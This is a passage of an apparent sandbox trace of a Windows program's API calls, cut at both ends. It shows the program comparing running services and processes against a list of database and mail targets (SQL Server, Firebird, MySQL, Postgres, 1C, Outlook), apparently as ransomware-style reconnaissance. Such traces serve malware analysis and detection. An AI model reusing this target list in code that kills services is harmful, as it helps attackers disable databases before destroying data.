lpString2="lmhosts") returned -1 [0033.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0033.081] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0033.081] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0033.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0033.081] lstrlenW (lpString="MMCSS") returned 5 [0033.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0033.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0033.081] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0033.081] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0033.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0033.081] lstrlenW (lpString="MpsSvc") returned 6 [0033.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0033.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0033.081] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0033.081] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0033.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0033.081] lstrlenW (lpString="Netman") returned 6 [0033.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0033.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0033.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0033.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0033.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0033.081] lstrlenW (lpString="netprofm") returned 8 [0033.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0033.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0033.081] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0033.081] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0033.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0033.081] lstrlenW (lpString="NlaSvc") returned 6 [0033.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0033.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0033.082] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0033.082] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0033.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0033.082] lstrlenW (lpString="nsi") returned 3 [0033.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0033.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0033.082] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0033.082] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0033.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0033.082] lstrlenW (lpString="PcaSvc") returned 6 [0033.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0033.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0033.082] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0033.082] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0033.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0033.082] lstrlenW (lpString="PlugPlay") returned 8 [0033.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0033.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0033.082] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0033.082] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0033.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0033.082] lstrlenW (lpString="Power") returned 5 [0033.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0033.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0033.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0033.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0033.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0033.082] lstrlenW (lpString="ProfSvc") returned 7 [0033.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0033.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0033.082] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0033.082] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0033.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0033.083] lstrlenW (lpString="RpcEptMapper") returned 12 [0033.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0033.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0033.083] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0033.083] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0033.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0033.083] lstrlenW (lpString="RpcSs") returned 5 [0033.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0033.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0033.083] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0033.083] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0033.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0033.083] lstrlenW (lpString="SamSs") returned 5 [0033.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0033.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0033.083] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0033.083] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0033.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0033.083] lstrlenW (lpString="Schedule") returned 8 [0033.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0033.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0033.083] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0033.083] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0033.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0033.083] lstrlenW (lpString="SENS") returned 4 [0033.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0033.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0033.083] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0033.083] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0033.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0033.083] lstrlenW (lpString="ShellHWDetection") returned 16 [0033.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0033.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0033.084] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0033.084] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0033.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0033.084] lstrlenW (lpString="Spooler") returned 7 [0033.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0033.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0033.084] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0033.084] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0033.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0033.084] lstrlenW (lpString="SysMain") returned 7 [0033.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0033.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0033.084] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0033.084] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0033.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0033.084] lstrlenW (lpString="Themes") returned 6 [0033.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0033.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0033.084] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0033.084] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0033.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0033.084] lstrlenW (lpString="TrkWks") returned 6 [0033.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0033.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0033.084] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0033.084] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0033.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0033.084] lstrlenW (lpString="UxSms") returned 5 [0033.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0033.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0033.084] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0033.084] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0033.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0033.085] lstrlenW (lpString="WdiServiceHost") returned 14 [0033.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0033.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0033.085] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0033.085] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0033.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0033.085] lstrlenW (lpString="WdiSystemHost") returned 13 [0033.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0033.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0033.085] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0033.085] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0033.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0033.085] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0033.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0033.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0033.085] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0033.085] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0033.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0033.085] lstrlenW (lpString="Winmgmt") returned 7 [0033.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0033.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0033.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0033.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0033.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0033.085] lstrlenW (lpString="WPDBusEnum") returned 10 [0033.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0033.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0033.085] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0033.085] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0033.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0033.085] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5b90 | out: hHeap=0x4b0000) returned 1 [0033.085] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x160 [0033.088] Process32FirstW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0033.088] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0033.089] lstrlenW (lpString="System") returned 6 [0033.089] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0033.089] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0033.089] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0033.089] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0033.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0033.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0033.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0033.089] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0033.090] lstrlenW (lpString="smss.exe") returned 8 [0033.090] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0033.090] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0033.090] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0033.090] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0033.090] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0033.090] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0033.090] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0033.090] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0033.091] lstrlenW (lpString="csrss.exe") returned 9 [0033.091] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0033.091] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0033.091] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0033.091] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0033.091] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0033.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0033.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0033.091] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0033.092] lstrlenW (lpString="wininit.exe") returned 11 [0033.092] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0033.092] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0033.092] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0033.092] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0033.092] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0033.092] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0033.092] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0033.092] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0033.093] lstrlenW (lpString="csrss.exe") returned 9 [0033.093] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0033.093] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0033.093] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0033.093] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0033.093] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0033.093] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0033.093] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0033.094] lstrlenW (lpString="winlogon.exe") returned 12 [0033.094] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0033.094] lstrlenW (lpString="services.exe") returned 12 [0033.095] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0033.095] lstrlenW (lpString="lsass.exe") returned 9 [0033.095] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0033.096] lstrlenW (lpString="lsm.exe") returned 7 [0033.096] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.097] lstrlenW (lpString="svchost.exe") returned 11 [0033.097] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.097] lstrlenW (lpString="svchost.exe") returned 11 [0033.097] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.098] lstrlenW (lpString="svchost.exe") returned 11 [0033.098] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.099] lstrlenW (lpString="svchost.exe") returned 11 [0033.099] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.099] lstrlenW (lpString="svchost.exe") returned 11 [0033.099] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0033.100] lstrlenW (lpString="audiodg.exe") returned 11 [0033.100] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.101] lstrlenW (lpString="svchost.exe") returned 11 [0033.101] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.101] lstrlenW (lpString="svchost.exe") returned 11 [0033.101] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0033.102] lstrlenW (lpString="dwm.exe") returned 7 [0033.102] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0033.103] lstrlenW (lpString="explorer.exe") returned 12 [0033.103] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0033.104] lstrlenW (lpString="spoolsv.exe") returned 11 [0033.104] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0033.104] lstrlenW (lpString="taskhost.exe") returned 12 [0033.104] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.105] lstrlenW (lpString="svchost.exe") returned 11 [0033.105] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0033.106] lstrlenW (lpString="taskeng.exe") returned 11 [0033.106] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0033.106] lstrlenW (lpString="taskhost.exe") returned 12 [0033.107] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0033.107] lstrlenW (lpString="chem venues.exe") returned 15 [0033.107] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0033.108] lstrlenW (lpString="month.exe") returned 9 [0033.108] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0033.109] lstrlenW (lpString="glasgow.exe") returned 11 [0033.109] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0033.109] lstrlenW (lpString="rubber.exe") returned 10 [0033.109] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0033.110] lstrlenW (lpString="petroleum.exe") returned 13 [0033.110] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, 